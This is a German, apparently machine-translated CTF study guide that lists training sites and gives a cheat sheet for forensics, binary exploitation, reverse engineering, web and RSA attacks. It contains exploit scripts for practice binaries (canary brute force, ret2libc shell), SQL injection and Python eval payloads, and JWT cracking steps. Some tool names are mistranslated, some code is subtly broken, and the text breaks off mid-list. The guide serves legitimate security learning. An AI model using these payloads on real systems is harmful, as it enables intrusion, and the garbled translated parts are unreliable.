Ein Master-Leitfaden zum Erlernen der Sicherheit
Zuschreibungen/Dateien für einige der Cyber-CTFs, die ich erstellt habe
Ich habe auch eine Liste von CTF-Ressourcen sowie einen umfassenden Spickzettel beigefügt, der zahlreiche häufige CTF-Herausforderungen abdeckt
Notiz
Es gibt jetzt einen Webspiegel dieses Repos unter hackback.zip
Inhaltsverzeichnis
Ressourcen
- YouTube (Wir lieben Videoressourcen)
- Übungs-/Lernseiten
- CTFs
- Allgemein
- Pwn
- Rev
- Web
- Krypto
- Intelligente Verträge
- Wolke
- Penetrationstest
CTF-Spickzettel
- Forensik / Steganographie
- Allgemein
- Audio
- Bild
- Video
- Maschinenbild
- Pcap
- Pwn / Binäre Ausbeutung
- Allgemein
- Pufferüberlauf
- PIE (Positionsunabhängige Ausführung)
- NX (nicht ausführbar)
- ROP (für statisch kompilierte Binärdateien)
- Stapel Kanarienvogel
- Sicherheitslücken bei der Formatierung von Zeichenfolgen
- Shellcode
- Zurück zu Libc
- Reverse Engineering
- SMT-Löser
- Umkehrung byteweiser Prüfungen
- Suche nach Zeichenfolgen mit gef
- Web
- Krypto
CyberChef
Gemeinsame Chiffren
RSA
- Erhalten Sie RSA-Informationen mit Pycryptodome
- Chinesischer Restsatz (p,q,e,c)
- Kupferschmied-Angriff (c,e)
- Pollards-Angriff (n,e,c)
- Wiener-Angriff (n,e,c)
Basis 16, 32, 36, 58, 64, 85, 91, 92
- Kasten
- Verbinden
- Aufzählung
- Eskalation von Berechtigungen
- Achten Sie auf die umgekehrte Shell
- Reverse-Shell
- Holen Sie sich eine interaktive Shell
- Linux
- Windows / Allgemein
- OSINT
- Sonstiges
Ressourcen
YouTube-Kanäle
- John Hammond
- Hat früher viele CTF-Videos gemacht, hat sich aber jetzt anderen Dingen zugewandt
- Immer noch jede Menge nützliche Videos. Besonders die CTF-Kurse eignen sich hervorragend, um Neulingen das Thema Cyber beizubringen.
- Live-Überlauf
- Macht äußerst interessante und tiefgehende Videos zum Thema Cyber.
- Hat eine erstaunliche PWN-Serie
- IppSec
- Erstellt Beschreibungen jeder einzelnen HackTheBox-Maschine
- Spricht über verschiedene Lösungsansätze und warum Dinge funktionieren. Sehr zu empfehlen
- Computerphil
- Dieselben Leute wie Numberphile, aber cooler. Erstellt wirklich einsteigerfreundliche und intuitive Videos über grundlegende Konzepte.
- pwn.college
- ASU-Professor, der jede Menge Videos auf pwn hat
- Angeleitetes Kursmaterial: https://pwn.college/
- Jede Menge Übungsaufgaben: https://dojo.pwn.college/
- PwnFunction
- Sehr hochwertige und leicht verständliche animierte Videos zu verschiedenen Themen
- Die Themen sind etwas fortgeschritten, aber leicht verständlich
- Martin Carlisle
- Erstellt tolle Schreibvideos über die picoCTF-Herausforderungen.
- Sam Bowne
- CCSF-Professor, der alle seine Vorlesungen und Kursmaterialien als Open Source auf seiner Website veröffentlicht
- UFSIT
- UF Cyber-Team (Ich bin etwas voreingenommen, aber definitiv einer der besseren YouTube-Kanäle dafür)
- Gynvael
- Erstellt erstaunlich intuitive Videoaufzeichnungen. Hat das gesamte picoCTF 2019 absolviert (das ist eine Menge)
- Informationssicherheit in Black Hills
- Sicherheitsunternehmen, das eine Menge Bildungsinhalte erstellt
- Wir bieten immer kostenlose Kurse und Webcasts zu Sicherheitsthemen an
- Stapelzertrümmerung
- Erstaunliche Reverse Engineering- und Hardware-Hacking-Videos
- Hat eine wirklich coole Serie über das Reverse Engineering von WannaCry
- Ben Greenberg
- GMU-Professor mit einer Reihe von PWN- und Malware-Video-Tutorials
- Etwas veraltet, aber immer noch gut
- InfoSecLab an der Georgia Tech
- Gute und fortgeschrittene ausführliche Vorträge zu pwn
- Erfordert etwas Hintergrundwissen
- RPISEC
- Teambesprechungen der RPI-Universität
- Sehr fortgeschritten und setzt ein wenig CS-Hintergrundwissen voraus
- Matt Brown
- Pentester für eingebettete Sicherheit
- Erstellt großartige, anfängerfreundliche Videos über IoT-Hacking
Gespräche
Hier sind einige Folien, die ich zusammengestellt habe: hackback.zip/presentations
Übungs-/Lernseiten
CTFs
- PicoCTF
- Tonnenweise tolle Übungsherausforderungen.
- Auf jeden Fall der Goldstandard für den Einstieg
- UCF
- Insgesamt gut, aber tolle PWN-Übung
- Ich arbeite derzeit daran, hier Beiträge zu veröffentlichen
- hacker101
- CTF, aber etwas stärker auf Pentesting ausgerichtet
- CSAW
- 90 % weniger Zeit und normalerweise funktioniert keine der Verbindungen
- Wenn es jedoch läuft, bietet es viele gute Einführungsherausforderungen
- CTF101
- Eine der besten Einführungen in CTFs, die ich je gesehen habe (gj osiris)
- Sehr prägnant und einsteigerfreundlich
Allgemein
- HackTheBox
- Die OG-Box-Site
- Die Boxen werden kuratiert, um die Qualität sicherzustellen
- Jetzt gibt es einige Probleme im CTF-Stil
- Jetzt gibt es Kurse, um mit dem Lernen zu beginnen
- Versuchen Sie es mit HackMe
- Etwas einfachere Boxen als HackTheBox
- Schritt-für-Schritt-Herausforderungen
- Verfügt jetzt über „Lernpfade“, die Sie durch die Themen führen
- CybersecLabs
- Tolle Sammlung von Boxen
- Hat ein paar CTF-Sachen
- VulnHub
- Verfügt über anfällige virtuelle Maschinen, die Sie selbst bereitstellen müssen
- Viel Abwechslung, aber meiner Meinung nach ist es schwierig, gute zu finden
Pwn
- pwnable.kr
- Herausforderungen mit gutem Schwierigkeitsgrad
- pwnable.tw
- Härter als pwnable.kr
- Hat Zuschreibungen, sobald Sie die Herausforderung gelöst haben
- pwnable.xyz
- Weitere pwn-Herausforderungen
- Hat Zuschreibungen, sobald Sie die Herausforderung gelöst haben
- Sobald Sie alle gelöst haben, können Sie Ihre eigenen Herausforderungen hochladen
- pwn Dojo
- Meiner Meinung nach die beste Sammlung von PWN-Herausforderungen
- Unterstützt durch Folien, in denen erklärt wird, wie es geht, und es gibt einen Hinweis, wenn Sie Hilfe benötigen
- Alptraum
- Goldstandard für das Pwning von C-Binärdateien
- Hat ein paar Fehler/Tippfehler, aber insgesamt erstaunlich
- pwn-Notizen
- Notizen einer zufälligen Person online
- Sehr oberflächlich, aber gute Einführung in alles
- Sommerschule für Sicherheit
- Sicherheitskurs der Universität Bukarest
- Sehr einsteigerfreundliche Erklärungen
- RPISEC MBE
- RPIs Modern Binary Exploitation-Kurs
- Verfügt über eine gute Anzahl an Laboren/Projekten für die Praxis und einige (etwas veraltete) Vorlesungen
- how2heap
- Heap Exploitation-Serie, erstellt vom CTF-Team der ASU
- Enthält eine sehr coole Debugger-Funktion, um zu zeigen, wie die Exploits funktionieren
- ROPEmporium
- Eine Reihe von Herausforderungen in jeder wichtigen Architektur, die Return-Oriented-Programming lehrt
- Sehr hohe Qualität. Vermittelt die grundlegendsten bis hin zu den fortgeschrittensten Techniken.
- Ich füge hier gerade meine eigenen Beiträge hinzu
- Phoenix Exploit Education
- Tonnenweise binäre Ausbeutungsprobleme, sortiert nach Schwierigkeitsgrad
- Enthält die Quelle und wird mit einer VM geliefert, die alle Binärdateien enthält.
Rev
- Herausforderungen.re
- So viele Herausforderungen 0_0
- Tonnenweise Vielfalt
- Rückwärtsfahren.kr
- crackmes.one
- Tonnenweise Herausforderungen im Crackme-Stil (CTF).
- Malware-Einhorn-Workshops
- Kostenlose Workshops zum Thema Reverse Engineering und Malware-Analyse
Web
- websec.fr
- Viele Webherausforderungen mit einem guten Schwierigkeitsgrad
- webhacking.kr
- Hat ein Archiv mit vielen guten Web-Herausforderungen
- Sichern von Webanwendungen
- OWASP Saftladen
- Sehr stark auf Pentests ausgerichtet, aber nützlich für die Erkundung des Webs in CTFs
- Insgesamt über 100 Schwachstellen/Herausforderungen
- PortSwigger
- Goldstandard zum Verständnis von Web-Hacking
- Tonnenweise tolle Herausforderungen und Erklärungen
- DVWA
- Sehr stark auf Pentests ausgerichtet, aber nützlich für die Erkundung des Webs in CTFs
- bWAPP
- Sehr stark auf Pentests ausgerichtet, aber nützlich für die Erkundung des Webs in CTFs
- CTF-Herausforderung
- Sammlung von Web-Herausforderungen von Adam Langley, die so realistisch wie möglich gestaltet sind.
- Gut, um Bug-Bounty-Erfahrung zu sammeln
Krypto
- CryptoHack
- Ich arbeite derzeit daran, hier Beiträge zu veröffentlichen
- Kryptopale
- Die OG-Krypto-Challenge-Site.
- CryptoCTF
- Jährliches Kryptografie-CTF. Frühere Jahre sind unter
20{19,20,21,22,23,24}.cr.yp.toc.tf
verfügbar.
Intelligente Verträge
Wolke
- CloudFoxable
- Führt Sie durch die Einrichtung einer anfälligen Umgebung, die mit Cloudfox ausgenutzt werden soll
- Fehler.cloud
- Kostenlose Herausforderungen, bei denen es darum geht, Geheimnisse in S3, EC2 und Lambda zu finden
Penetrationstest
- hacker101
- Hacksplaining
- Exploit-Entwicklung
- Einführung in die Sicherheit
- Kurs an der UC San Diego, unterrichtet von Deian Stefan
- Deckt grundlegende PWN und Krypto ab
- Active Directory-Spickzettel
- WADComs
- Interaktiver Spickzettel für Windows/AD-Umgebungen
- LOLBAS
- Interaktiver Spickzettel für Windows „Living off the land“-Binärdateien, Skripte und Bibliotheken zur Nutzung
- GTFOBins
- Interaktiver Spickzettel für Linux- Techniken zum Thema „Living off the land“.
CTF-Spickzettel
Forensik / Steganographie
Allgemein
- AperiSolve
- Tool, das andere Stego-Tools automatisch ausführt
- Wirklich gute Ressource von John Hammond für verschiedene Arten von Herausforderungen:
- https://github.com/JohnHammond/ctf-katana
- Ein weiterer sehr toller Spickzettel zum Erstellen und Lösen von Herausforderungen:
- https://github.com/apsdehal/awesome-ctf/blob/master/README.md
- Datei
-
file <file.xyz>
- Bestimmt den Dateityp
- Steghide
-
steghide extract -sf <file.xyz>
- Extrahiert eingebettete Dateien
- stegseek
-
stegseek <file> <password list>
- Extrahiert eingebettete Dateien mithilfe einer Wortliste
- super super schnell
- binwalk
-
binwalk -M --dd=".*" <file.xyz>
- Extrahiert eingebettete Dateien
- Exiftool
-
exiftool <file.xyz>
- Liest Metadaten
- Saiten
-
strings <file.xyz>
- Findet alle druckbaren Zeichen in einer Datei
- hexedit
-
hexedit <file.xyz>
- Möglicherweise müssen Sie bei einigen Bildern die Dateisignatur ändern, damit sie geöffnet werden können
- Liste gängiger Dateisignaturen
- Ghex (ein anderer Hex-Editor, aber mit GUI. Gut, wenn Sie zu einem bestimmten Byte springen müssen)
- docx-Dateien sind Container, sodass Sie sie entpacken können, um versteckte Inhalte zu finden
- Grep – Eine gute Möglichkeit, grep zu verwenden, um die Flagge rekursiv zu finden:
-
grep -r --text 'picoCTF{.*}'
-
egrep -r --text 'picoCTF{.*?}
- Sie können „picoCTF“ an den Anfang der gesuchten Flagge setzen
- Ltrace – Ermöglicht Ihnen zu sehen, was der Code tut, während Sie das Programm ausführen:
-
ltrace ./<file>
-
ltrace -s 100 ./<file>
- Ltrace verkürzt sehr lange Strings. Sie können -s verwenden, um die Anzahl der Zeichen zu erhöhen, die ltrace anzeigt. Gut für die Betrachtung von strcmp mit großen Zeichenfolgen.
Audio
Audio des Faxgeräts:
SSTV (Slow-Scan-TV) Audio (Mondmaterial)
- Beispiel
- Decoder
- Alt-Decoder
- Verwenden Sie diese qsstv-Einstellungen:
Spektrogrammbild
Ändern Sie Tonhöhe, Geschwindigkeit, Richtung ...
- Tonhöhe, Geschwindigkeit, Stimmung
- Umkehren
DTMF-Telefontasten (Dual Tone Multiple Frequency).
-
multimon-ng -a DTMF -t wav <file.wav>
- Denken Sie daran, dass dies zu Multitap-Buchstaben führen kann.
- Dadurch können die Zahlen in Text umgewandelt werden
Kassettenband
- Beispiel
- Decoder (WAV zum Tippen auf Dateien)
Morsezeichen
Bild
Video
Maschinenbild
- Wiederherstellen von Dateien
- Sie können ein Image als virtuelle Maschine bereitstellen
- https://habr.com/en/post/444940/
- Mounten Sie eine
.img
Datei:-
binwalk -M --dd=".*" <fileName>
- Führen Sie
file
bei der Ausgabe aus und wählen Sie die Linux-Dateisystemdatei aus -
losetup /dev/loop<freeLoopNumber> <fileSystemFile>
Pcap
- Extrahieren Sie Daten mit tcpflow
- Extrahieren Sie Daten mit Wireshark
- Datei → Objekte exportieren → Auswahl treffen
Pwn / Binäre Ausbeutung
- In diesem Fall schlage ich vor, stattdessen einen Blick auf mein LearnPwn-Repo zu werfen, da dieser Cheatsheet erstellt wurde, bevor ich viel über pwn wusste
- Ich habe jedoch einige Ergänzungen zu dem, was ich hier habe, beigefügt.
Allgemein
- Überprüfen Sie die Sicherheit von ELF
-
checksec <binary>
-
rabin2 -I <binary>
- Überprüfen Sie die Sicherheit von PE
- binäre-Sicherheitsüberprüfung
-
binary-security-check <bin>.exe
- Überprüfen Sie Seccomp BPF
- seccomp-tools
-
seccomp-tools dump ./<binary>
- Schau dir Symbole an
- Schau dir die Saiten an
- Adresse in Byte packen
- Little Endian (für 32 Bit)
-
python -c "import pwn; print(pwn.p32(<intAddr>))
- Big Endian (für 64 Bit)
-
python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools packt Adressen automatisch mit der richtigen Endianness für Sie
Pufferüberlauf
- Wenn Sie jemals eine /bin/sh-Shell benötigen und sicher sind, dass sie funktioniert, das Programm aber trotzdem beendet wird, verwenden Sie diesen Trick:
-
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
- pwntools erledigt dies mit seiner
process.interactive()
PIE (Positionsunabhängige Ausführung)
- Zufallswert ermitteln
-
pwn cyclic <numChars>
zum Generieren von Nutzdaten -
dmesg | tail | grep segfault
um zu sehen, wo der Fehler lag -
pwn cyclic -l 0x<errorLocation>
um den zufälligen Offset zum Steuerbefehlszeiger anzuzeigen - Beispiel
NX (nicht ausführbar)
- Zur Lösung können wir ROP (Return Oriented Programming) verwenden
ROP (für statisch kompilierte Binärdateien)
- ROPGadget
- Gadgets ansehen und automatisch Dropchains generieren
-
ROPgadget --ropchain --binary <binary>
- Anschließend können Sie am Anfang des Codes Auffüllungen hinzufügen (basierend auf der Differenz zwischen Ihrem Puffer und Ihrer Rücksprungadresse) und den Code ausführen, um eine Shell zu erhalten
- Demo
- ropr
Stapel Kanarienvogel
Den Stack Canary in einem Debugger finden
- Stack Canary ist ein vor dem EIP/RIP (Befehlszeiger) platzierter Wert, der durch einen Pufferüberlauf überschrieben werden kann. Das Programm verursacht grundsätzlich einen Fehler, wenn der Stapel mit etwas anderem als dem ursprünglichen überschrieben wird. Unser Ziel ist es, den ursprünglichen Stapel zu finden, sodass das Programm bei einem Überlauf normal ausgeführt wird.
- Der Stack Canary wird von
gs
oder fs
(für 32 bzw. 64 Bit) übernommen.- Bevor etwas gelesen wird, sieht man in der Disassemblierung eine Zeile ähnlich der folgenden:
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- Hier wird der Stapelkanarienvogel mit einem Offset von +8 nach
rax
verschoben.- Brechen Sie also beim nächsten Offset ab und prüfen Sie, was in rax (
ir rax
) steht, um zu sehen, was der aktuelle Kanarienvogel ist
Statische Kanarienvögel
- Ein Canary ist nur dann statisch, wenn er vom Programmierer manuell implementiert wurde (was bei einigen Einführungs-PWN-Herausforderungen der Fall ist) oder wenn Sie in der Lage sind, das Programm zu forken.
- Wenn Sie die Binärdatei forken, hat die geforkte Binärdatei denselben Kanarienvogel, sodass Sie eine Byte-für-Byte-Bruteforce-Operation darauf durchführen können
Extra
Wenn ein Stack-Canary nicht ordnungsgemäß überschrieben wird, führt dies zu einem Aufruf von __stack_chk_fail
- Wenn wir den Canary nicht durchsickern lassen können, können wir auch die GOT-Tabelle ändern, um zu verhindern, dass sie aufgerufen wird
Der Canary wird in der TLS
Struktur des aktuellen Stacks gespeichert und durch security_init
initialisiert
- Wenn Sie den echten Canary-Wert überschreiben können, können Sie ihn auf den Wert setzen, den Sie überschreiben möchten.
Einfaches Skript zum Bruteforce eines statischen 4-Byte-Canary:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )
Sicherheitslücken bei der Formatierung von Zeichenfolgen
- Schauen Sie in Tabelle 2 nach, was Sie versuchen sollten, wenn Sie „printf(buf)“ oder etwas in der Art sehen:
- https://owasp.org/www-community/attacks/Format_string_attack
- Ich kann es nur wärmstens empfehlen, sich John Hammond bei der „Echooo“-Challenge von picoCTF 2018 anzusehen
- Manchmal kann der Versuch, nur Zeichenfolgen aus dem Stapel wie folgt zu drucken: „%s %s %s %s %s %s“ zu Fehlern führen, da nicht alles im Stapel eine Zeichenfolge ist.
- Versuchen Sie, dies zu minimieren, indem Sie stattdessen „%x %x %x %x %x %s“ ausführen
- Anstatt die Anzahl der von Ihnen eingegebenen %x und %s ständig erhöhen zu müssen, können Sie zur Vereinfachung einen Parameter übergeben:
-
%1$s
– Dadurch wird der erste Wert im Stapel (soweit ich weiß, der direkt neben Ihrem Puffer) als Zeichenfolge gedruckt. -
%2$s
– Dadurch wird der 2. Wert als Zeichenfolge gedruckt, und Sie bekommen die Idee - Sie können einzeilige Schleifen verwenden, um zu versuchen, das Flag zu finden, indem Sie den Stapel verlieren. Drücken Sie ^C (STRG + C), um zum nächsten Wert zu gelangen.
-
for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- Sie können mithilfe verschiedener Größenparameter steuern, wie viel Sie auslaufen lassen:
-
%hhx
verliert 1 Byte (die Hälfte der int-Größe) -
%hx
verliert 2 Bytes (die Hälfte der int-Größe) -
%x
verliert 4 Bytes (int-Größe) -
%lx
verliert 8 Bytes (lange Größe)
- Sehr gutes Video zum Modifizieren des Stacks mit fstring vuln und %n:
- https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
Shellcode
- Gute Website, um verschiedene Shellcodes zu finden:
- http://shell-storm.org/shellcode/
Zurück zu Libc
Wir überschreiben die EIP, um die Bibliotheksfunktion system() aufzurufen, und übergeben auch, was sie ausführen soll, in diesem Beispiel einen Puffer mit „/bin/sh“.
Gute Erklärung:
- https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
Gutes Beispiel (gehe zu 3:22:44):
- https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
- https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
Adresse für execve("/bin/sh") abrufen
Wenn Sie die libc-Datei und einen Speicherort bereits kennen (d. h. sie nicht preisgeben müssen ...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()
Reverse Engineering
Coole Anleitung: https://opensource.com/article/20/4/linux-binary-analysis
- Ghidra
- Sehr nützlicher Dekompiler
- dotPeek oder dnSpy
- Dekompilieren Sie ausführbare .NET-Dateien
- jadx und jadx-gui
- devtoolzone
- Java online dekompilieren
- Quiltblume
- Erweiterter terminalbasierter Java-Decompiler
- apktool
- Apks dekompilieren
-
apktool d *.apk
- gdb
- Binäre Analyse
- peda (Erweiterung für erhöhte Funktionalität)
- gef (GDB-Erweiterung für Pwner)
- Radare2
- ZAHNSEIDE
-
strings
auf Steroiden. Verwendet statische Analyse, um Zeichenfolgen zu finden und zu berechnen
SMT-Löser
Byte-für-Byte-Prüfungen umkehren (Seitenkanalangriff)
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- Hier ist eine Version, die ich für eine Herausforderung erstellt habe, die einen zeitbasierten Angriff verwendet:
- Möglicherweise müssen Sie es ein paar Mal ausführen, um der Zufälligkeit Rechnung zu tragen
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()
Suche nach Zeichenfolgen mit gef
- Wenn Ihr Flag zu irgendeinem Zeitpunkt in eine Variable oder ein Register eingelesen wird, können Sie es nach dem Verschieben unterbrechen und
grep <string>
ausführen. Gef zeigt Ihnen dann automatisch die Zeichenfolge an, die Ihrem Suchmuster entspricht
Web
- Nikto (falls erlaubt)
- sucht automatisch nach Schwachstellen
- Gobuster (falls erlaubt)
- Brute erzwingt Verzeichnisse und Dateien
- Hydra (falls erlaubt)
- Brute erzwingt Anmeldungen für verschiedene Dienste
- BurpSuite
- Fängt Webanfragen ab und ermöglicht Ihnen deren Änderung
- Wireshark
- Analysieren Sie Live-Netzwerkverkehr und PCAP-Dateien
- PHP-Reverse-Shell
- Nützlich für Websites, die das Hochladen von Dateien ermöglichen
- Damit diese Datei funktioniert, muss sie auf dem Server ausgeführt werden
- WPScan
- Scannen Sie WordPress-Websites
- Verwenden Sie
wpscan --url <site> --plugins-detection mixed -e
mit einem API-Schlüssel, um die besten Ergebnisse zu erzielen
- jwt
- Sie können ein JWT-Token daran erkennen, dass base64-codierter JSON (und damit JWT-Token) mit „ey“ beginnt.
- Diese Website dekodiert JSON-Web-Tokens
- Sie können das Geheimnis des JSON-Web-Tokens knacken, um Ihre eigenen Token zu ändern und zu signieren
-
echo <token> > jwt.txt
-
john jwt.txt
- SQL-Injection
- sqlmap
-
sqlmap --forms --dump-all -u <url>
- Automatisiert den Prozess der SQL-Injection
- Grundlegende SQL-Injection
- Geben Sie
'OR 1=1--
in das Anmeldeformular ein - Auf dem Server wird dies zu
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
ausgewertet. -
1=1
wird als wahr ausgewertet, was die OR
Anweisung erfüllt, und der Rest der Abfrage wird durch --
auskommentiert.
- NutzlastenAllTheThings
- Tolle Ressource für die Webnutzung mit vielen Nutzlasten
- Template-Injektion
- tplmap
- Automatisierte serverseitige Vorlageninjektion
- Jinja-Injektion
- Flascheninjektion
- Python-Funktion eval()
-
__import__.('subprocess').getoutput('<command>')
- Stellen Sie sicher, dass Sie die Klammern vertauschen, wenn dies nicht funktioniert
-
__import__.('subprocess').getoutput('ls').split('\n')
- Dateien im System auflisten
- Mehr Python-Injektion
- Cross-Site-Scripting
- CSP-Evaluator
- Der Content Security Policy Evaluator von Google
Fuzzing-Eingabefelder
- FFUF
- Kopieren Sie die Anfrage in das Eingabefeld und ersetzen Sie den Parameter durch „FUZZ“:
-
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
- Verwenden Sie
-fs
um Größen zu filtern
Krypto
CyberChef
- CyberChef
- Führt verschiedene kryptografische Operationen aus
Chiffrierdetektor
Hashes
- Hashid
- Befehlszeilenprogramm zum Erkennen des Hash-Typs
Gemeinsame Chiffren
- Caesars Chiffre
- Vigenere-Chiffre
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )
- Substitutions-Chiffre
- Rot13
- Verschlüsselte Caesars-Chiffre
RSA
Erhalten Sie RSA-Informationen mit Pycryptodome
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e
Chinesischer Restsatz (p,q,e,c)
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' ))
#!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
- Website, die Faktoren und Euler-Totient (Phi) angibt
- https://www.alpertron.com.ar/ECM.HTM
Kupferschmied-Angriff (c,e)
- Wird normalerweise verwendet, wenn der Exponent sehr klein ist (e <= 5).
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))
Pollards-Angriff (n,e,c)
- Basierend auf der Faktorisierungsmethode von Pollard, die es einfach macht, Produkte von Primzahlen zu faktorisieren, wenn sie (B)glatt sind
- Dies ist der Fall, wenn
p-1 | B!
und q - 1
hat einen Faktor > B
from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
Wiener-Angriff (n,e,c)
- Zur Verwendung, wenn d zu klein ist (oder e zu groß ist)
- Verwendung dieses Python-Moduls
- Nachweisen
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
Basis 16, 32, 36, 58, 64, 85, 91, 92
https://github.com/mufeedvh/basecrack
Kasten
Verbinden
- ssh
-
ssh <username>@<ip>
-
ssh <username>@<ip> -i <private key file>
- Mounten Sie SSH lokal als Dateisystem:
-
sshfs -p <port> <user>@<ip>: <mount_directory>
- Bekannte Gastgeber
-
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- Netcat
Aufzählung
Eskalation von Berechtigungen
- Linpeas
-
./linpeas.sh
- Sucht automatisch nach Privilegieneskalationsvektoren
- Listen Sie Befehle auf, die wir als Root ausführen können
- Suchen Sie nach Dateien mit der SUID-Berechtigung
-
